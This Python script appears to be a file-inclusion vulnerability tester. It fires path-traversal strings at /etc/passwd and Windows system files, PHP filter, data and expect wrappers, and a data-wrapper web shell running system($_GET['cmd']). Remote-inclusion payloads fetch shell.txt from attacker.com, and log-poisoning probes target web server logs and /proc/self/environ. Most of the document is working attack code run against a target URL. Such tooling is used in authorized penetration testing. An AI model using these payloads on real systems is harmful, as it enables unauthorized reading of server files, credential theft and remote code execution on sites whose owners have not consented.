"""
LFI/RFI Vulnerability Tester
"""
import requests
import base64
import re
from urllib.parse import quote
class FileInclusionTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
LFI_PAYLOADS = [
"../../../etc/passwd",
"..\\..\\..\\etc\\passwd",
"....//....//....//etc/passwd",
"..%2F..%2F..%2Fetc%2Fpasswd",
"..%252f..%252f..%252fetc%252fpasswd",
"/etc/passwd",
"file:///etc/passwd",
"../../../etc/passwd%00",
"../../../etc/passwd\x00",
"..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
"php://filter/convert.base64-encode/resource=/etc/passwd",
"php://filter/read=string.rot13/resource=/etc/passwd",
"php://filter/convert.iconv.utf-8.utf-16/resource=/etc/passwd",
"data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==",
"expect://id",
"php://input",
]
RFI_PAYLOADS = [
"http://attacker.com/shell.txt",
"https://attacker.com/shell.txt",
"ftp://attacker.com/shell.txt",
"//attacker.com/shell.txt",
"http://attacker.com/shell.txt%00",
]
def test_lfi(self, param='file'):
"""Test Local File Inclusion"""
print("\n[*] Testing Local File Inclusion...")
for payload in self.LFI_PAYLOADS:
try:
response = self.session.get(
self.url,
params={param: payload},
timeout=10
)
if 'root:' in response.text or 'daemon:' in response.text:
print(f"[VULN] LFI - Direct file read!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'LFI - Direct Read',
'payload': payload,
'severity': 'High'
})
return True
if 'php://filter' in payload:
b64_match = re.search(r'[A-Za-z0-9+/=]{50,}', response.text)
if b64_match:
try:
decoded = base64.b64decode(b64_match.group())
if b'root:' in decoded or b'<?php' in decoded:
print(f"[VULN] LFI via PHP wrapper!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'LFI - PHP Wrapper',
'payload': payload,
'severity': 'High'
})
return True
except:
pass
if '127.0.0.1' in response.text and 'localhost' in response.text:
print(f"[VULN] LFI - Windows file read!")
self.findings.append({
'type': 'LFI - Windows',
'payload': payload,
'severity': 'High'
})
return True
except Exception as e:
pass
return False
def test_rfi(self, param='file'):
"""Test Remote File Inclusion"""
print("\n[*] Testing Remote File Inclusion...")
for payload in self.RFI_PAYLOADS:
try:
response = self.session.get(
self.url,
params={param: payload},
timeout=10
)
if response.status_code == 200:
print(f"[INFO] RFI payload accepted: {payload}")
print(f" Note: Check attacker server for callbacks")
self.findings.append({
'type': 'RFI - Potential',
'payload': payload,
'severity': 'Critical',
'note': 'Verify with callback server'
})
except Exception as e:
pass
return False
def test_log_poisoning(self, param='file'):
"""Test log file poisoning for RCE"""
print("\n[*] Testing Log Poisoning...")
log_files = [
'/var/log/apache2/access.log',
'/var/log/apache2/error.log',
'/var/log/nginx/access.log',
'/var/log/nginx/error.log',
'/var/log/httpd/access_log',
'/proc/self/fd/0',
'/proc/self/environ',
]
for log_file in log_files:
payload = f"../../../..{log_file}"
try:
response = self.session.get(
self.url,
params={param: payload}
)
if 'GET ' in response.text or 'HTTP/' in response.text:
print(f"[VULN] Log file accessible: {log_file}")
print(f" Log poisoning may be possible!")
self.findings.append({
'type': 'Log Poisoning Potential',
'log_file': log_file,
'severity': 'High'
})
except Exception as e:
pass
def test_php_wrappers(self, param='file'):
"""Test PHP wrapper exploitation"""
print("\n[*] Testing PHP wrappers...")
wrappers = [
('php://filter/convert.base64-encode/resource=index.php', 'source'),
('php://filter/convert.base64-encode/resource=config.php', 'config'),
('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==', 'phpinfo'),
('data://text/plain,<?php system($_GET["cmd"]); ?>', 'shell'),
('expect://id', 'expect'),
]
for wrapper, desc in wrappers:
try:
response = self.session.get(
self.url,
params={param: wrapper}
)
if 'base64' in wrapper:
b64_match = re.search(r'[A-Za-z0-9+/=]{30,}', response.text)
if b64_match:
print(f"[VULN] PHP wrapper works: {desc}")
self.findings.append({
'type': f'PHP Wrapper - {desc}',
'payload': wrapper,
'severity': 'High'
})
if 'phpinfo' in response.text.lower() or 'PHP Version' in response.text:
print(f"[VULN] Code execution via data wrapper!")
self.findings.append({
'type': 'RCE via Data Wrapper',
'payload': wrapper,
'severity': 'Critical'
})
except Exception as e:
pass
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("FILE INCLUSION REPORT")
print("="*60)
if not self.findings:
print("\nNo file inclusion vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
if 'payload' in f:
print(f" Payload: {f['payload'][:60]}")
if 'note' in f:
print(f" Note: {f['note']}")
def run_tests(self, param='file'):
"""Run all file inclusion tests"""
self.test_lfi(param)
self.test_rfi(param)
self.test_php_wrappers(param)
self.test_log_poisoning(param)
self.generate_report()
tester = FileInclusionTester("https://target.com/page.php")
tester.run_tests()